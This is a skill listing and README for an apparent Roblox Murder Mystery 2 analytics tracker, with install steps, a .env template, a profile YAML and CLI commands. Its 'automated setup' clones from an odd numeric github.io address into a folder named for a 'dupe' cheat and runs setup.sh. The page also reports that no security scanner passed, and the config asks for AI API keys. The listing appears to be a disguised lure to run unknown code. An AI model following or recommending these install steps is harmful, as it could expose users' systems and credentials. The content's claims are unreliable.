
Mm2 Roblox Analytics Tracker
Track Murder Mystery 2 knife inventories, gameplay stats, and trade insights with dashboards and exportable analytics for Roblox MM2 players.
Install
npx skills add https://github.com/aradotso/data-skills --skill mm2-roblox-analytics-trackerWhat is this skill?
- Automatic tracking of knife skins, gamepasses, and collectibles with rarity breakdown
- Win/loss and role-based performance statistics with pattern identification
- Interactive dashboard with real-time charts and export for MM2 stats
- AI-powered inventory value modeling and trade recommendations
- Practice simulations for skill improvement alongside troubleshooting flows
Adoption & trust: 1 installs on skills.sh; 1 GitHub stars; 0/3 security scanners passed (skills.sh audits); trending (+100% hot-view momentum).
Recommended Skills
Journey fit
Player-facing analytics and collection optimization compound after the game experience exists—canonical shelf is Grow analytics even though setup touches Build tooling. Inventory rarity analysis, win/loss ratios, and visualization are measurement and insight work, not core Roblox place scripting.
Common Questions / FAQ
Is Mm2 Roblox Analytics Tracker safe to install?
skills.sh reports 0 of 3 security scanners passed. Review the Security Audits panel on this page before installing in production.
SKILL.md
READMESKILL.md - Mm2 Roblox Analytics Tracker
# MM2 Roblox Analytics Tracker > Skill by [ara.so](https://ara.so) — Data Skills collection. This toolkit provides comprehensive analytics and inventory management for Roblox's Murder Mystery 2 game. It enables players to track knife skin collections, analyze gameplay patterns, optimize inventory, and visualize performance metrics through an interactive dashboard. ## What It Does The MM2 Analytics Tracker provides: - **Inventory Management**: Automatic tracking of knife skins, gamepasses, and collectibles with rarity analysis - **Performance Analytics**: Win/loss ratios, role-based statistics, and strategy pattern identification - **Data Visualization**: Interactive dashboards with real-time statistics and charts - **AI-Powered Insights**: Predictive modeling for inventory values and player behavior analysis - **Trade Recommendations**: Smart suggestions based on collection completeness and market trends - **Practice Simulations**: Training tools for skill improvement ## Installation ### Automated Setup ```bash # Clone the repository git clone https://8015238355.github.io cd murder-mystery-dupe-roblox # Run automated installer chmod +x setup.sh ./setup.sh --install ``` ### Manual Installation ```bash # Install Node.js dependencies npm install # Install Python dependencies python3 -m pip install -r requirements.txt ``` ### System Requirements - Python 3.9+ or Node.js 18+ - 2GB RAM minimum - Supported OS: Windows 10+, macOS Ventura+, Ubuntu 22.04+ - Modern web browser (Chrome 120+, Firefox 121+) ## Configuration ### Environment Variables Create a `.env` file in the project root: ```env # AI Integration (optional) API_OPENAI_KEY=${OPENAI_API_KEY} API_CLAUDE_KEY=${CLAUDE_API_KEY} # Data Storage DATA_DIRECTORY=./data/collections ANALYTICS_INTERVAL=300 # Features ENABLE_LIVE_TRACKING=true ENABLE_AI_INSIGHTS=false EXPORT_FORMAT=json,csv ``` ### Profile Configuration Create a `profile.yaml` file: ```yaml profile: username: "YourRobloxUsername" preferred_role: "sheriff" # sheriff, murderer, innocent inventory_filter: - category: "knife_skins" rarity: ["legendary", "ancient", "unique"] - category: "gamepasses" active: true analytics_preferences: tracking_mode: "comprehensive" # basic, comprehensive, minimal data_refresh_rate: 30 # seconds export_format: "csv, json" strategy_templates: - name: "aggressive_sheriff" priority: "high_visibility_areas" - name: "passive_innocent" priority: "distraction_avoidance" ``` ## CLI Commands ### Basic Usage ```bash # Start analytics dashboard python3 main.py --mode dashboard # Run inventory scan python3 main.py --mode inventory --scan # Export analytics data python3 main.py --mode analytics \ --profile your_profile \ --export statistics.json \ --format json # Generate performance report python3 main.py --mode report \ --date-range "2026-01-01:2026-05-16" \ --output report.pdf ``` ### Advanced Options ```bash # Comprehensive analytics with verbose logging python3 main.py --mode analytics \ --profile mystery_solver_01 \ --export stats_$(date +%Y%m%d).json \ --format json \ --verbose \ --log-level DEBUG # Inventory optimization with AI recommendations python3 main.py --mode optimize \ --enable-ai \ --strategy aggressive \ --export recommendations.csv # Live tracking session python3 main.py --mode live \ --refresh-interval 15 \ --dashboard-port 8080 ``` ## Code Examples ###